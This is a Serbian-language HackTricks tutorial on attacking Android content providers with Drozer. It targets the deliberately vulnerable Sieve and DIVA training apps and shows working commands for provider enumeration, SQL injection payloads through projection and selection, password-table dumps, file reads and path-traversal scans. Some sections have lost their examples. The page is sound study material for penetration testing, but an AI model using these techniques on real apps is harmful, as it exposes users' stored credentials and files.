Exploiting Content Providers

Iskorišćavanje Provajdera Sadržaja

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Uvod

Podaci se dostavljaju iz jedne aplikacije drugima na zahtev pomoću komponente poznate kao provajder sadržaja. Ovi zahtevi se upravljaju putem metoda klase ContentResolver. Provajderi sadržaja mogu čuvati svoje podatke na različitim lokacijama, kao što su baza podataka, fajlovi, ili preko mreže.

U Manifest.xml fajlu, deklaracija provajdera sadržaja je obavezna. Na primer:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Da biste pristupili content://com.mwr.example.sieve.DBContentProvider/Keys, potrebna je dozvola READ_KEYS. Zanimljivo je napomenuti da je putanja /Keys/ pristupačna u sledećem odeljku, koji nije zaštićen zbog greške developera, koji je obezbedio /Keys ali je deklarisao /Keys/.

Možda možete pristupiti privatnim podacima ili iskoristiti neku ranjivost (SQL Injection ili Traversing Path).

Dobijanje informacija iz izloženih provajdera sadržaja

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Moguće je sastaviti kako bi se došlo do DBContentProvider-a počevši URIs sa "content://". Ovaj pristup se zasniva na uvidima dobijenim korišćenjem Drozera, gde su ključne informacije locirane u /Keys direktorijumu.

Drozer može pogoditi i isprobati nekoliko URIs:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Trebalo bi takođe da proverite kôd ContentProvidera kako biste pretražili upite:

Takođe, ako ne možete pronaći kompletne upite, možete proveriti koja imena su deklarisana od strane ContentProvidera u metodi onCreate:

Upit će izgledati ovako: content://ime.paketa.klase/deklarisano_ime

Content Provideri sa podrškom za bazu podataka

Verovatno se većina Content Providera koristi kao interfejs za bazu podataka. Stoga, ako im možete pristupiti, možda ćete moći da izvučete, ažurirate, ubacite i obrišete informacije. Proverite da li možete pristupiti osetljivim informacijama ili pokušajte da ih promenite kako biste zaobišli mehanizme autorizacije.

Prilikom provere koda Content Providera, takođe potražite funkcije nazvane kao: query, insert, update i delete:

Jer ćete moći da ih pozovete

Upit sadržaja

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Ubacivanje sadržaja

Pretraživanjem baze podataka saznaćete ime kolona, nakon toga moći ćete da ubacite podatke u bazu podataka:

Napomena da prilikom ubacivanja i ažuriranja možete koristiti --string za string, --double za double, --float, --integer, --long, --short, --boolean

Ažuriranje sadržaja

Znajući ime kolona takođe možete izmeniti unose:

Brisanje sadržaja

SQL Injection

Jednostavno je testirati SQL injection (SQLite) manipulišući projekcijom i selekcijom polja koja se prosleđuju pružaocu sadržaja. Prilikom pretraživanja pružaoca sadržaja postoje 2 interesantna argumenta za traženje informacija: --selection i --projection:

Možete pokušati da zloupotrebite ove parametre kako biste testirali SQL injection:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Automatsko otkrivanje SQLInjection-a pomoću Drozera

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Content Provideri podržani fajl sistemom

Content Provideri takođe mogu biti korišćeni za pristup fajlovima:

Čitanje fajla

Možete čitati fajlove iz Content Providera

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Putanja Traversal

Ako možete pristupiti datotekama, možete pokušati zloupotrebiti Putanju Traversal (u ovom slučaju to nije neophodno, ali možete pokušati koristiti "../" i slične trikove).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Automatsko otkrivanje putanje prolaska pomoću Drozera

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated